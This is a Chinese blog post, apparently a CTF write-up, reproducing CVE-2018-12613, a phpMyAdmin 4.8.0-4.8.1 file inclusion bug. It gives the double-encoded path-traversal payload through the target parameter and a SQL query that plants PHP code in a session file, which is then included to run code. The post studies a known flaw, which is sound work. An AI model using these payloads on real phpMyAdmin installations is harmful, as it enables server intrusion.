【漏洞复现】CVE-2018-12613 phpMyAdmin文件包含getshell

该漏洞影响phpMyAdmin 4.8.0-4.8.1版本

checkPageValidity函数对数据的处理逻辑不够严密,利用二次url编码绕过文件包含检测

payload
通过查询在session中添加php语句,再通过文件包含执行

?target=db_sql.php%253f/…/…/…/…/…/…/…/…/(要包含的文件)

target有白名单检测机制,db_sql.php在白名单中
通过?的二次编码成%253f
target在检测白名单的时候,会对db_sql.php%253f进行二次url解码,解码成db_sql.php?,因为是GET传参因此会省略?后面部分的内容,这时db_sql.php?可以通过白名单限制

但在进行文件包含时,只进行了一次url解码,解码成db_sql.php%3f,此时%3f没有被解码,php会把它当成一个路径
然后再通过db_sql.php%3f/…/…/…/…/…/,进行目录跳转就可以一直回溯到根目录,然后可以包含任意文件

通过包含日志来利用


[BUU [PHPMYADMIN]CVE-2018-12613 ](https://buuoj.cn/challenges#[PHPMYADMIN]CVE-2018-12613)

打开是个phpMyAdmin界面

payload
通过查询在session中添加php语句,再通过文件包含执行

?target=db_sql.php%253f/…/…/…/…/…/…/…/…/tmp/(SESSION文件)

执行sql语句,会把sql语句执行的结果保存在session文件中

select “<?php phpinfo();?>”

再通过文件包含session文件,执行php phpinfo();

?target=db_sql.php%253f/…/…/…/…/…/…/…/…/tmp/(SESSION文件)

找到flag
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值